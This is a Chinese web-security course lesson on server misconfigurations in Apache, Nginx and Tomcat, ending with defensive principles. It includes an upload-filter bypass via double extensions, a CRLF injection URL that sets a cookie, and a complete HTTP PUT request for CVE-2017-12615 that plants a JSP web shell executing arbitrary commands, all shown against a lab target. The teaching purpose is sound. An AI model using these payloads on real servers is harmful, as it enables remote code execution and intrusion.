你好,我是王昊天。
不知道你是否看见过下面这张图片?它是我们在使用Django编写后端程序时,经常会看到的报错页面。在这个报错页面中,我们可以看到这个Web应用的所有路径,这对于Web应用来说是极其危险的。
从页面最下方的提示信息中,我们可以知道,这是由于我们在Django的配置文件中,没有将DEBUG改为False导致的。所以这就是一个由于配置错误导致的Web应用安全问题。
其实,在Web应用中,安全配置问题还是很普遍的,这节课就让我们一起来深入学习下吧!
在Web应用中,由于安全配置错误导致的安全问题屡见不鲜,这里我选取了Web应用中典型的一些安全配置问题来讲解,它们分别为Apache配置安全问题、Nginx配置安全问题以及Tomcat配置安全问题,下面我们逐一看下。
Apache是世界使用排名第一的Web服务器软件。它的兼容性很好,可以在Linux系统以及Windows系统中运行。Web应用开发者可以用它来运行开发的Web服务。
我们可以将它简单理解为,当在一台机器上配置好Apache服务器,可利用它响应HTML页面的访问请求。
Apache软件有一个配置文件,它通常为httpd.conf,我们在启动自己的Web应用前,首先需要对它进行配置的修改。
如果我们希望,Apache在遇到扩展名为PHP的页面文件时,将它用x-httpd-php来解析,那么我们就可以在配置文件中添加代码 AddHandler application/x-httpd-php .php
。之后,重启Apache服务,配置就能生效。
而这个配置会导致一定的安全隐患,接下来让我们借助一个示例,看看它会带来什么安全隐患吧。
在此之前,我们需要学习一下Apache的基本特性。
Apache是从前往后开始识别文件扩展名的,例如遇到文件test.php.xyz.jpg时,它会将PHP识别为文件的扩展名,从而根据之前的配置,选择用x-httpd-php来对它进行解析。
这样,我们就做好了所有的前期准备工作。下面,我们一起来看这个安全隐患。
这是一个文件上传靶场,由于我们将它的安全等级设为高,所以它可以成功拦截所有PHP后缀的文件,这样做可以防止攻击者上传PHP恶意文件,从而保护Web应用的安全。
但是我们可以将恶意PHP文件名设置为test.php.xyz.jpg,这样就能绕过文件上传检测,成功将这个文件上传到images文件中。
其中这个test.php.xyz.jpg的内容为:
<?php phpinfo();?>
之后,我们尝试对其进行访问,发现Apache服务器无法解析这一文件。所以这个Web应用目前是安全的,攻击者无法通过上传文件test.php.xyz.jpg去执行恶意的PHP代码。
如果我们在Apache的配置文件apache2.conf中加入这一项 AddHandler application/x-httpd-php .php
。然后重启Apache2服务。
那么我们再次访问上传的文件,获得到的响应内容就变为如下:
这里可以看到,我们上传的恶意PHP代码已经被执行。这个Web应用不再安全。
在这个示例中,原本的Web应用是安全的,它成功拦截了以.php结尾的文件的上传,并且不允许用x-httpd-php来解析结尾不是.php的文件,这是无懈可击的,攻击者根本无法让这个Web应用去执行恶意PHP脚本。
可是,如果Web应用开发者,在配置文件中进行错误的配置,例如这里加上AddHandler application/x-httpd-php .php,就会使得Web应用可以用x-httpd-php来解析PHP类型的文件,就算它的结尾不是.php。这给了攻击者可乘之机,让Web应用处于危险之中。
到这里,你已经学完了Apache中的安全配置问题,这会让你对安全配置问题有更具体的理解。其实在Nginx中也会有安全配置问题,接下来我们就一起看看。
Nginx是一个高性能的HTTP和反向代理Web服务器,我们可以在Unix以及Linux中运行它。它的应用非常广泛,我们熟知的百度、京东、新浪、网易以及腾讯都有使用到这款软件。
在使用这款软件时,我们必须正确的对它进行配置,否则容易导致一些安全问题。
例如,当Nginx配置不当,就会导致CRLF注入的发生。所谓CRLF其实就是两个字符,CR与LF,它们分别代表回车以及换行。事实上,在HTTP报文中,行与行之间使用的就是CRLF间隔。
接下来,为了帮助你更好地理解Nginx配置的安全问题,让我们一起来看一个示例吧。
下方代码是一个Nginx配置文件,你可能对它不太熟悉,不过不要着急,我会给你分析配置中的安全问题。
server {
listen 8080;
root /usr/share/nginx/html;
index index.html;
server_name _;
location / {
return 302 https://$host$uri;
}
}
在这个Nginx配置文件中,存在问题的配置在最后一行,我们只需要关注这一部分即可。
return 302 https://$host$uri;
这行代码,可以使得原本对主机的HTTP的请求,跳转到HTTPS请求上。我们可以将其中的 $host
,简单理解为原始请求中的host信息,而 $uri
则是安全问题产生的关键,它代表着请求中解码后的请求路径。你可能觉得这里并没有什么问题,可如果攻击者将请求的URL信息设置为如下:
http://ip:port/%0a%0dSet-Cookie:%20a=test
这个URL中,%0a经过解码之后就是CR,%0d经过解码之后则为LF,%20解码之后对应为空格。所以Nginx在对$uri进行解码时,会将%0a%0d解码为CRLF,这会使得HTTP报文换行,然后发起Set-Cookie的请求,这就是CRLF注入的效果。
下面,我们一起看上述内容的实例。注意,这里靶场中的Nginx配置和上面图片中一致。
我们首先访问了127.0.0.1:8080服务,发现Nginx成功让页面跳转到HTTPS服务,并且页面中也没有cookie信息。其中这里页面显示无法访问此网站,这是因为靶场仅用来演示Nginx配置问题,并没有实际页面支撑,所以导致没有页面内容返回,但它对我们的测试不会造成影响。
接着,我们对这个Web应用发起攻击,对127.0.0.1:8080/%0a%0dSet-Cookie:%20a=test进行访问,结果发现页面同样跳转为HTTPS服务,不过此时多出了响应Cookie信息。这表明我们的CRLF注入成功,并且成功执行了Set-Cookie指令。
现在,你已经了解了Nginx配置相关的安全问题,知道了它其实就是由CRLF注入导致的。接下来,让我们继续学习Tomcat中的安全配置问题吧。
首先,我们来了解下Tomcat是什么?
Tomcat 服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用。实际上,Tomcat是Apache服务器的扩展,但运行时它是独立运行的,所以当你运行Tomcat时,它实际上是作为一个与Apache独立的进程单独运行。
在对它有了一定的了解之后,我们来对Tomcat做一些安全性分析。Tomcat中存在一个知名的安全配置问题,它就是CVE-2017-12615。具体的问题体现为,当Tomcat运行在Windows主机上,并且在conf/web.xml的配置文件中将DefaultServlet readonly设置为false,那么如果它启用了HTTP PUT请求方法,就会导致任意写文件的安全问题发生。
接下来,让我们通过实战,加深一下对Tomcat配置安全问题的理解吧。
首先,登录谜团(mituan.zone)并选择【Tomcat专题:CVE-2017-12615】靶机,如果你可以看到如下页面,那就成功打开了我们的靶场。
其次,我们要测试一下是否可以上传文件到服务器目录下。具体的实践方式为,使用BurpSuite拦截该网页,获取到如下报文:
GET / HTTP/1.1
Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
然后我们将它进行修改为如下报文,并进行发送。
PUT /1.jsp/ / HTTP/1.1
Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b)) != -1){
out.println(new String(b));
}
out.print("</pre>");
%>
修改后的报文,可以向Tomcat服务器尝试写入1.jsp文件。其中1.jsp文件的内容为报文下方<% %>内的部分。这部分的功能就是获取get方式上传的参数i,并将它当作命令去执行。
接下来,我们去测试尝试的攻击行为是否成功。访问路径 /1.jsp?i= ls -l
,其中 1.jsp
就是我们刚刚写入的文件,而 ?i=ls -l
,这是通过get方式上传参数i,并将它的值设为 ls -l
。
我们发现页面的响应为一些文件信息,这代表我们的 ls -l
命令运行成功,也代表这个Tomcat服务器存在安全配置问题。
到这里,我们已经知道安全配置错误的危害还是较为严重的,所以我们在设计一个Web应用时,要注意对安全配置错误的避免。接下来让我们进入到安全实践中,总结一下如何避免安全配置错误。
为了避免安全配置错误的发生,我们在配置Web应用时需要遵守几个原则。
第一个原则为最小服务原则,我们需要将Web应用不需要的服务进行关闭或限制,防止攻击者通过这些服务发起恶意行为。
第二个原则为通用化的报错设置,即我们需要将Web应用的报错信息设置得通用化,使得报错信息中不包含错误发生的细节信息,防止因此导致的敏感信息泄露。
第三个原则为修改默认账户信息,我们需要将Web应用默认的账户信息进行修改,尽量让账户密码变得复杂,否则攻击者很容易就会猜出账户信息,登陆进Web应用的管理后台。
在这节课程中,我们学习了安全配置错误。
首先,我们通过Django示例,来了解什么是安全配置错误。接着我们更加深入的对典型的Web应用安全配置问题进行了逐一的学习。
我们第一个学习的是Apache相关的安全配置问题。在对这一部分的学习中,我们通过上传一个扩展名复杂的文件,绕过了Web应用对于上传文件类型的检测过滤。然后再利用Apache配置不当的问题,使得这一文件被x-httpd-php解析成功。这样就使得攻击者可以实现任意PHP代码执行。
接下来,我们学习了Nginx相关的安全配置问题。在对它的学习中,我们了解到Nginx是一个高性能的HTTP和反向代理Web服务器。如果对于它的配置方式不当,就会使得CRLF注入的发生。然后我们通过示例,知道了攻击者可以通过CRLF注入进而实现对HTTP请求指令的设置。
接着,我们学习了Tomcat相关的安全配置问题,了解到如果对它的配置不当,就会产生任意写入文件问题。在实战部分中,我们还利用这个问题成功实现了任意命令执行操作。
最后,我们学习了如何抵御安全配置错误,了解到主要可以通过最小服务原则、通用化报错设置以及修改默认账户来提升我们Web应用的安全性。
除了这节课中提到的安全配置错误,你还能想到其他Web应用相关的安全配置错误吗?
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!